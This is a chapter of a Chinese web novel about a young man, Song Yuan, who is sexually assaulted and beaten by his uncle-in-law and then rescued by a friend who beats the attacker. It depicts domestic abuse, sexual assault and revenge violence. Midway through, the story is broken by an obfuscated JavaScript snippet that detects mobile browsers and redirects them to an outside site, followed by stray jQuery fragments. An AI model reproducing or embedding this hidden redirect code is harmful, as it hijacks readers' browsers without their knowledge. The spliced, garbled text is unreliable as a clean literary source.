天空下起瓢泼大雨，面馆几乎没有生意，关祁每隔两三分钟就照一下镜子，整理衣冠。
狗人穿着黑色短袖和卡其色短裤，还有一双匡威，他有什么好整理的，难道连鞋带也要系成爱梨柯的形状吗。
这个人藏不住事儿，宋元看他这样，猜到他八成是拿到了爱的号码牌。
果然没几分钟，关祁就鬼鬼祟祟地坐过来：“我一会儿出去一趟，跟阿柯一起去书店逛。”
他自说自话还能红了脸：“阿宋，你说我今天要不要跟她表白？”
宋元：“不要。”
关祁有些不爽：“这么直接？”
宋元耐心解释：“历来都是你主动，梨柯要想答应早给你传达信号了。如果没有，那说明她想维持现状，你别给两个人都找不痛快。”
关祁有点不服气，却也心想他说得有道理。
宋元太理解关祁的心情，也比他克制隐忍得多，绝对不能冒昧表白。
人要是仅凭一点美好的感觉，就执着追求一个结果，那这个结果多半是事与愿违的。
晚上，宋元睡得不熟，半梦半醒间感觉有只爪子伸进他衣服里摸索。
瞬间惊醒后，他才意识到赵学刚在做什么。
老东西的力气很大，立刻用另一只手捂住宋元的嘴，让他叫喊不得。
赵学刚死命把他往卧室的方向拖，情急之下，宋元只能两条腿胡乱踹，试图制造声响惊动赵恩艺。
他拼命挣扎，一边是茶几上的杯子和其他物品掉在地上咣当作响，碎的碎，滚的滚，另一边是电视机从电视柜上被晃下来，砸在地上，也砸到了他的小腿。
赵恩艺睡眼惺忪地出来，看到她哥躺在地上死死抓住电视机柜抽屉的把手，一地的玻璃碎片早已划破他身上好几处部位。
而她的亲生父亲正恶狠狠地勒着宋元，不让他出声。
没有任何迟疑，赵恩艺跑向阳台，“啪”地一声拉开窗户，女孩惊心的尖叫声响彻整栋居民楼。
没一会儿就有邻里亮灯，赵恩艺赶紧打开自家客厅的灯，她夺门而出，狂敲对面邻居的门，躲在门框外悄悄摸出睡衣口袋里的手机。
赵学刚一看情况不妙，却没空去追逃走的死丫头，他气疯了，顾不上别的，一心一意就想打死宋元。
他一脚踢在宋元肚子上，又觉得自己穿着拖鞋使不出多少力，便马上抱起旁边饮水机上的半桶水，对宋元哐哐抡了一下又一下。
水溅了一地，赵学刚嘴里振振有辞：“谁让你天天出去，老子饭都没得吃，没人要的杂种，狼心狗肺，臭傻逼……”
缩在地上用手抱着头的人没有还手之力，早已受伤的他只能感受到脑袋闷闷的，侧躺在血和水的混合液体中。
在一片争吵声中，他睁开眼睛，意识逐渐清明。
终究还是对门的叔叔阿姨来了，这样的场面在几年前他们是常见的，只不过当时“教育”孩子的是宋红芳。
好不容易等男孩长大，这两三年不怎么挨揍了，以后要换姑父动手吗？
简单包扎后，宋元跟赵恩艺都在楼下独居的老奶奶家过夜。
躺在沙发上，他缓过神，心口一阵堵得慌。
被赵学刚摸那一下是什么感受，是水蛇缠腰般强烈的生理性厌恶，是想吐又吐不出来的嫌弃。
黑暗中他听到一点动静，宋元立刻警觉起来，他佯装睡着。
还好，是老奶奶出来给他盖上了一个小被子，怕他在夏夜里着凉。
天一亮赵恩艺就回去收拾家里了，她是不害怕赵学刚的，最多挨顿骂，毕竟昨晚也不是第一次帮宋元。
她进屋就听到赵学刚卧室里传出的呼噜声，还是震天响。有一声快要上不去的时刻，她真希望赵学刚背过去。
这座城市夏天再热，清晨和傍晚都是相对凉快的。
关祁一大早坐在店门口的台阶上歇着，由于不爱学习，爸妈严格限制他使用电子产品的时间，所以关祁的视力一向处于顶尖水平。
他老远就看见宋元像企鹅一样走过来。
他从来没见过这么搞笑的走姿，打开微信“汤臣一品A座业主群”开始录制小视频。
“家人们，正在向我们走来的是业主宋元，哈哈哈……他，他怎么好像一瘸一拐的……我靠……”
关祁声音停顿了几秒，宋元越走越近，他放大了几倍摄像头，才看清来人是鼻青脸肿的，赶紧结束录制，上前去搀扶宋元。
宋元不想对关祁隐瞒什么，但要怎么开口呢，说赵学刚是个禽兽想侵犯他？
最后他也只能选择性地告诉关祁，自己跟姑父起冲突打了一架，不占上风。
关祁当场撸起袖子，要求宋元现在立刻马上带他去干赵学刚，说着他就要关店门。
宋元费九牛二虎之力才拉住关祁，庆幸没说完整，不然那还得了。
从训练营宿舍醒来的程弋拿起手机，点开关祁发在群里的视频，他下意识从床上坐起，来回观看好几遍。即使没那么清晰，也知道他伤得不轻，就给宋元发消息。
“你怎么回事？”程弋想了想，这个语气太容易被误会，他撤回后又打字：“发生了什么？”
“我没事啊。”宋元不好解释视频里的他怎么一副狼狈模样，要怪就怪关祁，自己录着玩就行了，偏偏在群里录，弄的一发不可收拾。
“别骗我。”程弋不自觉握紧手机。
宋元实在想不出说辞，索性不回复，就这样吧。
一整天他都是蔫的，直到快下班前，听到了熟悉的声音。
宋元做好心理建设，晚上还得照常回去，以后不跟赵学刚接触就是了，忍住恶心，他们还能当同一屋檐下的陌生人。
可真没料到，赵学刚能下贱到这种份上，他在面馆门口吐了一大口痰，掀开帘子进来。
宋元后悔至极，放假时就不该告诉宋红芳夫妇他兼职的面馆在什么位置。
他不敢想赵学刚要在别人的地盘上撒什么泼。
要命的是关祁这小子不在，欢天喜地跟梨柯去外面玩了，店里只有他和关祁的奶奶。
宋元没给赵学刚说话的机会，把他拽了出去，怒吼道：“有什么事回去解决，不要在这给别人找麻烦！”
“我来是想跟你缓和一下。”赵学刚拒绝打车回家，他主张边走边聊。
宋元猜出他不怀好意，正好心里还有一口恶气要出，昨晚自己是被偷袭的，今天就算带着伤也要在路上找个地方跟赵学刚殊死一搏。
他不信在正常情况下，他会打不过区区一个赵学刚。
这口气实在是咽不下去。
他一边走一边找称手的工具，途经一处烂尾楼，赵学刚有意绕进去，他便也跟上去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15830978|175567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵学刚原想把宋元拖到他事先找好的地方，当再次扭打在一起时他如饥似渴，径自上手扒宋元的裤子：“老子今天给你开开荤，大人其实就这么点子事，养你这么多年，该报答报答我了吧！”
“我去你妈的！”宋元鼓着劲正要反扑。
有一道高大的黑影先宋元一步，从赵学刚后面出现，抓起赵学刚的衣领就来了一招夹颈过背摔。
对方不慌不忙，等他骂骂咧咧站起来后，照他的脸猛地肘击，赵学刚哪里能经受住，一下又摔在原来的地方。
接下来无论赵学刚怎么挣扎逃走，都是没几秒被揍回到固定位置，反复多次，他简直愤懑到极点。
这个揍赵学刚的人戴着黑色棒球帽和口罩，遮得严严实实看不到表情，但还是能感觉到他很有耐心。
他先蹲下看了看正在地上蠕动的老流氓，又回头望着宋元，似乎在用眼神询问“就是他”？
在这种昏暗的环境下，宋元不可能看清眼神这种东西，全凭第六感罢了。
也不需要确认，他心知这个人是程弋。
从第一下过背摔就有数了。
宋元站在一旁，聆听赵学刚美妙的惨叫声，程弋也不再有兴趣陪他耗时间，狂风暴雨般的拳头都对他招呼上。
程弋就是要连本带利地还给他，招式层出不穷，连往赵学刚身上猛踹都算得上中场休息，撑死给他留口气。
“哥！”空荡的楼盘中间响起清脆的女孩声。
宋元和程弋都茫然转头，不明赵恩艺究竟是从哪里冒出来的。
今天傍晚赵学刚出门前，跟她打听宋元打工的地方，说去找他为昨晚的事情道歉。
赵学刚也好，宋红芳也罢，他们怎么会记得他说过的面馆地址呢。
想当初那几次家长会，两口子很有默契，不管是谁来，都记不住宋元所在的年级和班级，甚至进校找不到教室后，还当着同学的面，对他破口大骂“你们学校怎么那么多逼班”。
赵恩艺半信半疑告诉了赵学刚位置，不过她了解自己的生父，不会善罢甘休，指定装一肚子坏水。
她好奇赵学刚到底想干什么，便悄悄跟在后面来到这个烂尾楼，远远地看他四处转悠，最后挑了一个拐角处的隐蔽房间。
赵学刚在里面待了几分钟出来后，原本手里拿着的外套不见了。
等他沿小破路走出烂尾楼，赵恩艺就赶紧过去。
房间里，赵学刚的外套铺在地上，旁边还有一盒安全套和一个手电筒。
一瞬间地动山摇，她无法形容自己的感受，也无法逃避摆在眼前的事实。
赵学刚想把宋元带到这里，还做好了准备，行不轨之事。
她开窍了，昨晚只有她出来之后才是家暴，而在她出来之前应该是……猥亵。
怪不得，赵学刚怎么会突然打他，明明以前主要是宋红芳动手的，而他一贯坐视不理。
也怪不得，他这两年时常打量宋元，目光透着一种道不出的怪异。
赵学刚还总借着在阳台收衣服，跟宋红芳一样肆意翻找宋元的东西。
有一次她身体不适，晚自习请假提前回家，就看到宋元的衣物被扒拉的到处都是，贴身穿的都散落在沙发上。
难怪，她推门进来的时候，赵学刚难掩慌张。
原来一切都有迹可循。